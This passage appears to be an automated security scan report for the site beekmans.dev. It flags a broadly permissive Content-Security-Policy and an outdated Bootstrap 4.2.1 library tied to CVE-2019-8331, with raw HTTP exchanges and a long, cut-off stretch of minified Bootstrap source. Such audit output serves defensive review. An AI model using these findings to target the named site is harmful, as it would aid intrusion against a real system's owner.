Response Status line and header section (1024 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:55:12 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zuRExiVS36cod0SzwgtropR3qd8TNCoj49V39ZbKU3AIjdAVWtDduAO17J8nZOQvQqgLgbMLeojC7iTBFWn4UwpRgx1eFhxWTrk5bjAiTuyUBlz1chvxVKvbc9x0IUw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a3252bc84c43-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/SOURCE
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (230 bytes)
GET https://beekmans.dev/SOURCE HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1036 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:56:08 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q6%2Fd%2FWQCYkfqiF3MUbvhkfMd%2FoRE2rCvpi2yqkw8kVQekenwV%2FAVutswe6cG2t9Iai00cUfsCGsxas1YuKjKp%2FvvWb6IyQEtrAvqRYaa%2BHqf2efavomKKW3lskoOXCg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a4801eba0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
-
Vulnerable JS Library (2)
GET https://beekmans.dev/vendor/bootstrap/js/bootstrap.bundle.min.js
Alert tags Alert description The identified library bootstrap, version 4.2.1 is vulnerable.
Other info CVE-2019-8331
Request Request line and header section (268 bytes)
GET https://beekmans.dev/vendor/bootstrap/js/bootstrap.bundle.min.js HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.dev/Request body (0 bytes)
Response Status line and header section (1167 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:56:05 GMT Content-Type: application/javascript; charset=utf-8 Connection: keep-alive last-modified: Fri, 15 Mar 2019 09:41:20 GMT etag: W/"12a14-5841ed7589c5e-gzip" vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: MISS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X6LhT7okCjllVCP1Debg47TkxjsLU%2BAqDS7v8sknBxY5o2m9Ygyx0s90hdU5OCh%2FXSjwS6UI6ZiNrZUQ%2F%2B8nGq9IcDtldgElywhYK4RTL6EzydKEG1Gtt%2B5HuO9pZEU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a46ebad10c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (76308 bytes)
/*! * Bootstrap v4.2.1 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e(t.bootstrap={},t.jQuery)}(this,function(t,p){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(o){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{},e=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(r).filter(function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable}))),e.forEach(function(t){var e,n,i;e=o,i=r[n=t],n in e?Object.defineProperty(e,n,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[n]=i})}return o}p=p&&p.hasOwnProperty("default")?p.default:p;var e="transitionend";function n(t){var e=this,n=!1;return p(this).one(m.TRANSITION_END,function(){n=!0}),setTimeout(function(){n||m.triggerTransitionEnd(e)},t),this}var m={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+=~~(1e6*Math.random()),document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");if(!e||"#"===e){var n=t.getAttribute("href");e=n&&"#"!==n?n.trim():""}return e&&document.querySelector(e)?e:null},getTransitionDurationFromElement:function(t){if(!t)return 0;var e=p(t).css("transition-duration"),n=p(t).css("transition-delay"),i=parseFloat(e),o=parseFloat(n);return i||o?(e=e.split(",")[0],n=n.split(",")[0],1e3*(parseFloat(e)+parseFloat(n))):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){p(t).trigger(e)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:function(t,e,n){for(var i in n)if(Object.prototype.hasOwnProperty.call(n,i)){var o=n[i],r=e[i],s=r&&m.isElement(r)?"element":(a=r,{}.toString.call(a).match(/\s([a-z]+)/i)[1].toLowerCase());if(!new RegExp(o).test(s))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+s+'" but expected type "'+o+'".')}var a},findShadowRoot:function(t){if(!document.documentElement.attachShadow)return null;if("function"!=typeof t.getRootNode)return t instanceof ShadowRoot?t:t.parentNode?m.findShadowRoot(t.parentNode):null;var e=t.getRootNode();return e instanceof ShadowRoot?e:null}};p.fn.emulateTransitionEnd=n,p.event.special[m.TRANSITION_END]={bindType:e,delegateType:e,handle:function(t){if(p(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var o="alert",r="bs.alert",a="."+r,c=p.fn[o],h={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},u="alert",f="fade",d="show",g=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},t.dispose=function(){p.removeData(this._element,r),this._element=null},t._getRootElement=function(t){var e=m.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n||(n=p(t).closest("."+u)[0]),n},t._triggerCloseEvent=function(t){var e=p.Event(h.CLOSE);return p(t).trigger(e),e},t._removeElement=function(e){var n=this;if(p(e).removeClass(d),p(e).hasClass(f)){var t=m.getTransitionDurationFromElement(e);p(e).one(m.TRANSITION_END,function(t){return n._destroyElement(e,t)}).emulateTransitionEnd(t)}else this._destroyElement(e)},t._destroyElement=function(t){p(t).detach().trigger(h.CLOSED).remove()},i._jQueryInterface=function(n){return this.each(function(){var t=p(this),e=t.data(r);e||(e=new i(this),t.data(r,e)),"close"===n&&e[n](this)})},i._handleDismiss=function(e){return function(t){t&&t.preventDefault(),e.close(this)}},s(i,null,[{key:"VERSION",get:function(){return"4.2.1"}}]),i}();p(document).on(h.CLICK_DATA_API,'[data-dismiss="alert"]',g._handleDismiss(new g)),p.fn[o]=g._jQueryInterface,p.fn[o].Constructor=g,p.fn[o].noConflict=function(){return p.fn[o]=c,g._jQueryInterface};var _="button",v="bs.button",y="."+v,E=".data-api",b=p.fn[_],w="active",T="btn",C="focus",S='[data-toggle^="button"]',D='[data-toggle="buttons"]',I='input:not([type="hidden"])',A=".active",O=".btn",N={CLICK_DATA_API:"click"+y+E,FOCUS_BLUR_DATA_API:"focus"+y+E+" blur"+y+E},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=p(this._element).closest(D)[0];if(n){var i=this._element.querySelector(I);if(i){if("radio"===i.type)if(i.checked&&this._element.classList.contains(w))t=!1;else{var o=n.querySelector(A);o&&p(o).removeClass(w)}if(t){if(i.hasAttribute("disabled")||n.hasAttribute("disabled")||i.classList.contains("disabled")||n.classList.contains("disabled"))return;i.checked=!this._element.classList.contains(w),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains(w)),t&&p(this._element).toggleClass(w)},t.dispose=function(){p.removeData(this._element,v),this._element=null},n._jQueryInterface=function(e){return this.each(function(){var t=p(this).data(v);t||(t=new n(this),p(this).data(v,t)),"toggle"===e&&t[e]()})},s(n,null,[{key:"VERSION",get:function(){return"4.2.1"}}]),n}();p(document).on(N.CLICK_DATA_API,S,function(t){t.preventDefault();var e=t.target;p(e).hasClass(T)||(e=p(e).closest(O)),k._jQueryInterface.call(p(e),"toggle")}).on(N.FOCUS_BLUR_DATA_API,S,function(t){var e=p(t.target).closest(O)[0];p(e).toggleClass(C,/^focus(in)?$/.test(t.type))}),p.fn[_]=k._jQueryInterface,p.fn[_].Constructor=k,p.fn[_].noConflict=function(){return p.fn[_]=b,k._jQueryInterface};var L="carousel",P="bs.carousel",x="."+P,H=".data-api",j=p.fn[L],R={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},F={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},M="next",W="prev",U="left",B="right",q={SLIDE:"slide"+x,SLID:"slid"+x,KEYDOWN:"keydown"+x,MOUSEENTER:"mouseenter"+x,MOUSELEAVE:"mouseleave"+x,TOUCHSTART:"touchstart"+x,TOUCHMOVE:"touchmove"+x,TOUCHEND:"touchend"+x,POINTERDOWN:"pointerdown"+x,POINTERUP:"pointerup"+x,DRAG_START:"dragstart"+x,LOAD_DATA_API:"load"+x+H,CLICK_DATA_API:"click"+x+H},K="carousel",Q="active",Y="slide",V="carousel-item-right",X="carousel-item-left",z="carousel-item-next",G="carousel-item-prev",J="pointer-event",Z=".active",$=".active.carousel-item",tt=".carousel-item",et=".carousel-item img",nt=".carousel-item-next, .carousel-item-prev",it=".carousel-indicators",ot="[data-slide], [data-slide-to]",rt='[data-ride="carousel"]',st={TOUCH:"touch",PEN:"pen"},at=function(){function r(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(e),this._element=t,this._indicatorsElement=this._element.querySelector(it),this._touchSupported="ontouchstart"in document.documentElement||0<navigator.maxTouchPoints,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var t=r.prototype;return t.next=function(){this._isSliding||this._slide(M)},t.nextWhenVisible=function(){!document.hidden&&p(this._element).is(":visible")&&"hidden"!==p(this._element).css("visibility")&&this.next()},t.prev=function(){this._isSliding||this._slide(W)},t.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(nt)&&(m.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(t){var e=this;this._activeElement=this._element.querySelector($);var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)p(this._element).one(q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n<t?M:W;this._slide(i,this._items[t])}},t.dispose=function(){p(this._element).off(x),p.removeData(this._element,P),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t){return t=l({},R,t),m.typeCheckConfig(L,t,F),t},t._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;0<e&&this.prev(),e<0&&this.next()}},t._addEventListeners=function(){var e=this;this._config.keyboard&&p(this._element).on(q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&p(this._element).on(q.MOUSEENTER,function(t){return e.pause(t)}).on(q.MOUSELEAVE,function(t){return e.cycle(t)}),this._addTouchEventListeners()},t._addTouchEventListeners=function(){var n=this;if(this._touchSupported){var e=function(t){n._pointerEvent&&st[t.originalEvent.pointerType.toUpperCase()]?n.touchStartX=t.originalEvent.clientX:n._pointerEvent||(n.touchStartX=t.originalEvent.touches[0].clientX)},i=function(t){n._pointerEvent&&st[t.originalEvent.pointerType.toUpperCase()]&&(n.touchDeltaX=t.originalEvent.clientX-n.touchStartX),n._handleSwipe(),"hover"===n._config.pause&&(n.pause(),n.touchTimeout&&clearTimeout(n.touchTimeout),n.touchTimeout=setTimeout(function(t){return n.cycle(t)},500+n._config.interval))};p(this._element.querySelectorAll(et)).on(q.DRAG_START,function(t){return t.preventDefault()}),this._pointerEvent?(p(this._element).on(q.POINTERDOWN,function(t){return e(t)}),p(this._element).on(q.POINTERUP,function(t){return i(t)}),this._element.classList.add(J)):(p(this._element).on(q.TOUCHSTART,function(t){return e(t)}),p(this._element).on(q.TOUCHMOVE,function(t){var e;(e=t).originalEvent.touches&&1<e.originalEvent.touches.length?n.touchDeltaX=0:n.touchDeltaX=e.originalEvent.touches[0].clientX-n.touchStartX}),p(this._element).on(q.TOUCHEND,function(t){return i(t)}))}},t._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},t._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(tt)):[],this._items.indexOf(t)},t._getItemByDirection=function(t,e){var n=t===M,i=t===W,o=this._getItemIndex(e),r=this._items.length-1;if((i&&0===o||n&&o===r)&&!this._config.wrap)return e;var s=(o+(t===W?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},t._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(this._element.querySelector($)),o=p.Event(q.SLIDE,{relatedTarget:t,direction:e,from:i,to:n});return p(this._element).trigger(o),o},t._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll(Z));p(e).removeClass(Q);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&p(n).addClass(Q)}},t._slide=function(t,e){var n,i,o,r=this,s=this._element.querySelector($),a=this._getItemIndex(s),l=e||s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),h=Boolean(this._interval);if(o=t===M?(n=X,i=z,U):(n=V,i=G,B),l&&p(l).hasClass(Q))this._isSliding=!1;else if(!this._triggerSlideEvent(l,o).isDefaultPrevented()&&s&&l){this._isSliding=!0,h&&this.pause(),this._setActiveIndicatorElement(l);var u=p.Event(q.SLID,{relatedTarget:l,direction:o,from:a,to:c});if(p(this._element).hasClass(Y)){p(l).addClass(i),m.reflow(l),p(s).addClass(n),p(l).addClass(n);var f=parseInt(l.getAttribute("data-interval"),10);this._config.interval=f?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,f):this._config.defaultInterval||this._config.interval;var d=m.getTransitionDurationFromElement(s);p(s).one(m.TRANSITION_END,function(){p(l).removeClass(n+" "+i).addClass(Q),p(s).removeClass(Q+" "+i+" "+n),r._isSliding=!1,setTimeout(function(){return p(r._element).trigger(u)},0)}).emulateTransitionEnd(d)}else p(s).removeClass(Q),p(l).addClass(Q),this._isSliding=!1,p(this._element).trigger(u);h&&this.cycle()}},r._jQueryInterface=function(i){return this.each(function(){var t=p(this).data(P),e=l({},R,p(this).data());"object"==typeof i&&(e=l({},e,i));var n="string"==typeof i?i:e.slide;if(t||(t=new r(this,e),p(this).data(P,t)),"number"==typeof i)t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},r._dataApiClickHandler=function(t){var e=m.getSelectorFromElement(this);if(e){var n=p(e)[0];if(n&&p(n).hasClass(K)){var i=l({},p(n).data(),p(this).data()),o=this.getAttribute("data-slide-to");o&&(i.interval=!1),r._jQueryInterface.call(p(n),i),o&&p(n).data(P).to(o),t.preventDefault()}}},s(r,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return R}}]),r}();p(document).on(q.CLICK_DATA_API,ot,at._dataApiClickHandler),p(window).on(q.LOAD_DATA_API,function(){for(var t=[].slice.call(document.querySelectorAll(rt)),e=0,n=t.length;e<n;e++){var i=p(t[e]);at._jQueryInterface.call(i,i.data())}}),p.fn[L]=at._jQueryInterface,p.fn[L].Constructor=at,p.fn[L].noConflict=function(){return p.fn[L]=j,at._jQueryInterface};var lt="collapse",ct="bs.collapse",ht="."+ct,ut=p.fn[lt],ft={toggle:!0,parent:""},dt={toggle:"boolean",parent:"(string|element)"},pt={SHOW:"show"+ht,SHOWN:"shown"+ht,HIDE:"hide"+ht,HIDDEN:"hidden"+ht,CLICK_DATA_API:"click"+ht+".data-api"},mt="show",gt="collapse",_t="collapsing",vt="collapsed",yt="width",Et="height",bt=".show, .collapsing",wt='[data-toggle="collapse"]',Tt=function(){function a(e,t){this._isTransitioning=!1,this._element=e,this._config=this._getConfig(t),this._triggerArray=[].slice.call(document.querySelectorAll('[data-toggle="collapse"][href="#'+e.id+'"],[data-toggle="collapse"][data-target="#'+e.id+'"]'));for(var n=[].slice.call(document.querySelectorAll(wt)),i=0,o=n.length;i<o;i++){var r=n[i],s=m.getSelectorFromElement(r),a=[].slice.call(document.querySelectorAll(s)).filter(function(t){return t===e});null!==s&&0<a.length&&(this._selector=s,this._triggerArray.push(r))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var t=a.prototype;return t.toggle=function(){p(this._element).hasClass(mt)?this.hide():this.show()},t.show=function(){var t,e,n=this;if(!this._isTransitioning&&!p(this._element).hasClass(mt)&&(this._parent&&0===(t=[].slice.call(this._parent.querySelectorAll(bt)).filter(function(t){return"string"==typeof n._config.parent?t.getAttribute("data-parent")===n._config.parent:t.classList.contains(gt)})).length&&(t=null),!(t&&(e=p(t).not(this._selector).data(ct))&&e._isTransitioning))){var i=p.Event(pt.SHOW);if(p(this._element).trigger(i),!i.isDefaultPrevented()){t&&(a._jQueryInterface.call(p(t).not(this._selector),"hide"),e||p(t).data(ct,null));var o=this._getDimension();p(this._element).removeClass(gt).addClass(_t),this._element.style[o]=0,this._triggerArray.length&&p(this._triggerArray).removeClass(vt).attr("aria-expanded",!0),this.setTransitioning(!0);var r="scroll"+(o[0].toUpperCase()+o.slice(1)),s=m.getTransitionDurationFromElement(this._element);p(this._element).one(m.TRANSITION_END,function(){p(n._element).removeClass(_t).addClass(gt).addClass(mt),n._element.style[o]="",n.setTransitioning(!1),p(n._element).trigger(pt.SHOWN)}).emulateTransitionEnd(s),this._element.style[o]=this._element[r]+"px"}}},t.hide=function(){var t=this;if(!this._isTransitioning&&p(this._element).hasClass(mt)){var e=p.Event(pt.HIDE);if(p(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",m.reflow(this._element),p(this._element).addClass(_t).removeClass(gt).removeClass(mt);var i=this._triggerArray.length;if(0<i)for(var o=0;o<i;o++){var r=this._triggerArray[o],s=m.getSelectorFromElement(r);if(null!==s)p([].slice.call(document.querySelectorAll(s))).hasClass(mt)||p(r).addClass(vt).attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var a=m.getTransitionDurationFromElement(this._element);p(this._element).one(m.TRANSITION_END,function(){t.setTransitioning(!1),p(t._element).removeClass(_t).addClass(gt).trigger(pt.HIDDEN)}).emulateTransitionEnd(a)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){p.removeData(this._element,ct),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},t._getConfig=function(t){return(t=l({},ft,t)).toggle=Boolean(t.toggle),m.typeCheckConfig(lt,t,dt),t},t._getDimension=function(){return p(this._element).hasClass(yt)?yt:Et},t._getParent=function(){var t,n=this;m.isElement(this._config.parent)?(t=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(t=this._config.parent[0])):t=document.querySelector(this._config.parent);var e='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]',i=[].slice.call(t.querySelectorAll(e));return p(i).each(function(t,e){n._addAriaAndCollapsedClass(a._getTargetFromElement(e),[e])}),t},t._addAriaAndCollapsedClass=function(t,e){var n=p(t).hasClass(mt);e.length&&p(e).toggleClass(vt,!n).attr("aria-expanded",n)},a._getTargetFromElement=function(t){var e=m.getSelectorFromElement(t);return e?document.querySelector(e):null},a._jQueryInterface=function(i){return this.each(function(){var t=p(this),e=t.data(ct),n=l({},ft,t.data(),"object"==typeof i&&i?i:{});if(!e&&n.toggle&&/show|hide/.test(i)&&(n.toggle=!1),e||(e=new a(this,n),t.data(ct,e)),"string"==typeof i){if("undefined"==typeof e[i])throw new TypeError('No method named "'+i+'"');e[i]()}})},s(a,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return ft}}]),a}();p(document).on(pt.CLICK_DATA_API,wt,function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var n=p(this),e=m.getSelectorFromElement(this),i=[].slice.call(document.querySelectorAll(e));p(i).each(function(){var t=p(this),e=t.data(ct)?"toggle":n.data();Tt._jQueryInterface.call(t,e)})}),p.fn[lt]=Tt._jQueryInterface,p.fn[lt].Constructor=Tt,p.fn[lt].noConflict=function(){return p.fn[lt]=ut,Tt._jQueryInterface};for(var Ct="undefined"!=typeof window&&"undefined"!=typeof document,St=["Edge","Trident","Firefox"],Dt=0,It=0;It<St.length;It+=1)if(Ct&&0<=navigator.userAgent.indexOf(St[It])){Dt=1;break}var At=Ct&&window.Promise?function(t){var e=!1;return function(){e||(e=!0,window.Promise.resolve().then(function(){e=!1,t()}))}}:function(t){var e=!1;return function(){e||(e=!0,setTimeout(function(){e=!1,t()},Dt))}};function Ot(t){return t&&"[object Function]"==={}.toString.call(t)}function Nt(t,e){if(1!==t.nodeType)return[];var n=t.ownerDocument.defaultView.getComputedStyle(t,null);return e?n[e]:n}function kt(t){return"HTML"===t.nodeName?t:t.parentNode||t.host}function Lt(t){if(!t)return document.body;switch(t.nodeName){case"HTML":case"BODY":return t.ownerDocument.body;case"#document":return t.body}var e=Nt(t),n=e.overflow,i=e.overflowX,o=e.overflowY;return/(auto|scroll|overlay)/.test(n+o+i)?t:Lt(kt(t))}var Pt=Ct&&!(!window.MSInputMethodContext||!document.documentMode),xt=Ct&&/MSIE 10/.test(navigator.userAgent);function Ht(t){return 11===t?Pt:10===t?xt:Pt||xt}function jt(t){if(!t)return document.documentElement;for(var e=Ht(10)?document.body:null,n=t.offsetParent||null;n===e&&t.nextElementSibling;)n=(t=t.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&"BODY"!==i&&"HTML"!==i?-1!==["TH","TD","TABLE"].indexOf(n.nodeName)&&"static"===Nt(n,"position")?jt(n):n:t?t.ownerDocument.documentElement:document.documentElement}function Rt(t){return null!==t.parentNode?Rt(t.parentNode):t}function Ft(t,e){if(!(t&&t.nodeType&&e&&e.nodeType))return document.documentElement;var n=t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_FOLLOWING,i=n?t:e,o=n?e:t,r=document.createRange();r.setStart(i,0),r.setEnd(o,0);var s,a,l=r.commonAncestorContainer;if(t!==l&&e!==l||i.contains(o))return"BODY"===(a=(s=l).nodeName)||"HTML"!==a&&jt(s.firstElementChild)!==s?jt(l):l;var c=Rt(t);return c.host?Ft(c.host,e):Ft(t,Rt(e).host)}function Mt(t){var e="top"===(1<arguments.length&&void 0!==arguments[1]?arguments[1]:"top")?"scrollTop":"scrollLeft",n=t.nodeName;if("BODY"!==n&&"HTML"!==n)return t[e];var i=t.ownerDocument.documentElement;return(t.ownerDocument.scrollingElement||i)[e]}function Wt(t,e){var n="x"===e?"Left":"Top",i="Left"===n?"Right":"Bottom";return parseFloat(t["border"+n+"Width"],10)+parseFloat(t["border"+i+"Width"],10)}function Ut(t,e,n,i){return Math.max(e["offset"+t],e["scroll"+t],n["client"+t],n["offset"+t],n["scroll"+t],Ht(10)?parseInt(n["offset"+t])+parseInt(i["margin"+("Height"===t?"Top":"Left")])+parseInt(i["margin"+("Height"===t?"Bottom":"Right")]):0)}function Bt(t){var e=t.body,n=t.documentElement,i=Ht(10)&&getComputedStyle(n);return{height:Ut("Height",e,n,i),width:Ut("Width",e,n,i)}}var qt=function(){function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}}(),Kt=function(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t},Qt=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t};function Yt(t){return Qt({},t,{right:t.left+t.width,bottom:t.top+t.height})}function Vt(t){var e={};try{if(Ht(10)){e=t.getBoundingClientRect();var n=Mt(t,"top"),i=Mt(t,"left");e.top+=n,e.left+=i,e.bottom+=n,e.right+=i}else e=t.getBoundingClientRect()}catch(t){}var o={left:e.left,top:e.top,width:e.right-e.left,height:e.bottom-e.top},r="HTML"===t.nodeName?Bt(t.ownerDocument):{},s=r.width||t.clientWidth||o.right-o.left,a=r.height||t.clientHeight||o.bottom-o.top,l=t.offsetWidth-s,c=t.offsetHeight-a;if(l||c){var h=Nt(t);l-=Wt(h,"x"),c-=Wt(h,"y"),o.width-=l,o.height-=c}return Yt(o)}function Xt(t,e){var n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=Ht(10),o="HTML"===e.nodeName,r=Vt(t),s=Vt(e),a=Lt(t),l=Nt(e),c=parseFloat(l.borderTopWidth,10),h=parseFloat(l.borderLeftWidth,10);n&&o&&(s.top=Math.max(s.top,0),s.left=Math.max(s.left,0));var u=Yt({top:r.top-s.top-c,left:r.left-s.left-h,width:r.width,height:r.height});if(u.marginTop=0,u.marginLeft=0,!i&&o){var f=parseFloat(l.marginTop,10),d=parseFloat(l.marginLeft,10);u.top-=c-f,u.bottom-=c-f,u.left-=h-d,u.right-=h-d,u.marginTop=f,u.marginLeft=d}return(i&&!n?e.contains(a):e===a&&"BODY"!==a.nodeName)&&(u=function(t,e){var n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=Mt(e,"top"),o=Mt(e,"left"),r=n?-1:1;return t.top+=i*r,t.bottom+=i*r,t.left+=o*r,t.right+=o*r,t}(u,e)),u}function zt(t){if(!t||!t.parentElement||Ht())return 